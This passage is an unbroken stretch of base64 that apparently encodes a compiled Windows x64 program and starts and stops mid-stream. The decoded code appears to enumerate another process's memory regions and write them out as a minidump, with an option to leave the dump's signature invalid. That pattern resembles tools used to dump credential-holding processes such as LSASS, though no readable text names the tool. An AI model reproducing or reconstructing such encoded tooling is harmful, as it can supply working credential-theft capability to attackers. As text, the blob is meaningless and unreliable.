SI2VUP///0gBwotFqIkCg0XMBItFzEiNlVD///9IAcIPt0WsZokCg0XMAotFzEiNlVD///9IAcIPt0WuZokCg0XMAotFzEiNlVD///9IAcJIi0WwSIkCg0XMCItFzEiNlVD///9IAcJIi0W4SIkCSItFEItAEImFTP///4tVjEiNhVD///9BidBIicJIi00Q6FH5//+FwHUKuAAAAADpzwAAAEiNRYxBuQQAAABJicC6JAAAAEiLTRDo3/j//0iNhUz///9BuQQAAABJicC6KAAAAEiLTRDowfj//0iLRRCLQBCJhUj///9Ii0XQD7cAD7fAiYVE////SI2FRP///0G4BAAAAEiJwkiLTRDo1Pj//4XAdQe4AAAAAOtVSItF0A+3AA+30EiLRdBIi0AIQYnQSInCSItNEOio+P//hcB1B7gAAAAA6ymLhUz///+DwBhIjZVI////QbkEAAAASYnQicJIi00Q6DD4//+4AQAAAEiBxOAAAABdw1VXSIHs2AEAAEiNrCSAAAAASImNcAEAAEiNBVypAABIiYWgAAAASI0FZKkAAEiJhagAAABIjQVsqQAASImFsAAAAEiNBXKpAABIiYW4AAAASI0FfKkAAEiJhcAAAABIjQWIqQAASImFyAAAAEiNBZKpAABIiYXQAAAASI0FnqkAAEiJhdgAAABIjQWmqQAASImF4AAAAEiNBbKpAABIiYXoAAAASI0FuKkAAEiJhfAAAABIjQXAqQAASImF+AAAAEiNBcipAABIiYUAAQAASI0F0KkAAEiJhQgBAABIjQXgqQAASImFEAEAAEiNBeypAABIiYUYAQAASI0F9qkAAEiJhSABAABIjQUAqgAASImFKAEAAEiLhXABAABIiwBIjZWgAAAAQbkBAAAAQbgSAAAASInB6C7Q//9IiYVAAQAASIO9QAEAAAB1CrgAAAAA6e0FAABIi4VAAQAASImFSAEAAMeFnAAAAAAAAADp7AAAAIuFnAAAAIPAAYmFnAAAAEiLhXABAACLUBBIi4VIAQAAiZAUAQAASIuFSAEAAEiDwBS6AAEAAEiJweiAMwAAiUUYi0UYg8ABiUUYi0UYAcCJRRhIjUUYQbgEAAAASInCSIuNcAEAAOiP9v//hcB1JEiLhUABAABIicHo47b//0jHhUABAAAAAAAAuAAAAADpPQUAAItVGEiL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SInBSIsFRAoBAP/QSMdF6AAAAAC4AAAAAOtfSItF+EiLUBBIi0XoSYnQugAAAABIicHoW34AAEiLBfgJAQD/0EiLVehJidC6AAAAAEiJwUiLBfgJAQD/0EjHRegAAAAASItF+EiLAEiJRfhIg334AA+Fy/7//0iLRfBIg8R4W13DVUiJ5UiD7DBIiU0QSItNEOg17P//hcB1CrgAAAAA6akAAABIi00Q6B3u//+FwHUKuAAAAADpkgAAAEiLTRDoB+///4XAdQe4AAAAAOt+SItNEOiT8v//SIlF+EiDffgAdQe4AAAAAOtjSItF+EiJwkiLTRDoaPz//0iJRfBIg33wAHUbSItF+EiJwegsq///SMdF+AAAAAC4AAAAAOstSItF+EiJwegRq///SMdF+AAAAABIi0XwSInB6P2q//9Ix0XwAAAAALgBAAAASIPEMF3DkJCQkJCQkFVIieVIg+wwSIlNEEiJVRhMiUUgTIlNKEiNRSBIiUXwSItV8EiLRRhJidBIicJIi00Q6DknAACJRfyLRfxIg8QwXcNVSInlSIPsIEiJTRC5AQAAAEiLBeWGAAD/0EyLRRBIjRXYnAAASInB6JD///+5AQAAAEiLBcSGAAD/0EiNFVSdAABIicHoc////7kBAAAASIsFp4YAAP/QSI0VOZ0AAEiJwehW////uQEAAABIiwWKhgAA/9BIjRUanQAASInB6Dn///+5AQAAAEiLBW2GAAD/0EiNFQydAABIicHoHP///7kBAAAASIsFUIYAAP/QSI0V4JwAAEiJwej//v//uQEAAABIiwUzhgAA/9BIjRUCnQAASInB6OL+//+5AQAAAEiLBRaGAAD/0EiNFaacAABIicHoxf7//7kBAAAASIsF+YUAAP/QSI0V8JwAAEiJweio/v//uQEAAABIiwXchQAA/9BIjRVsnAAASInB6Iv+//+5AQAAAEiLBb+FAAD/0EiNFdecAABIicHobv7//7kBAAAASIsFooUAAP/QSI0VMpwAAEiJwehR/v//uQEAAABIiwWFhQAA/9BIjRW0nAAASInB6DT+//+5AQAAAEiLBWiFAAD/0EiNFfibAABIicHoF/7//7kBAAAASIsFS4UAAP/QSI0Vq5wAAEiJwej6/f//uQEAAABIiwUuhQAA/9BIjRW+mwAASInB6N39//+5AQAAAEiL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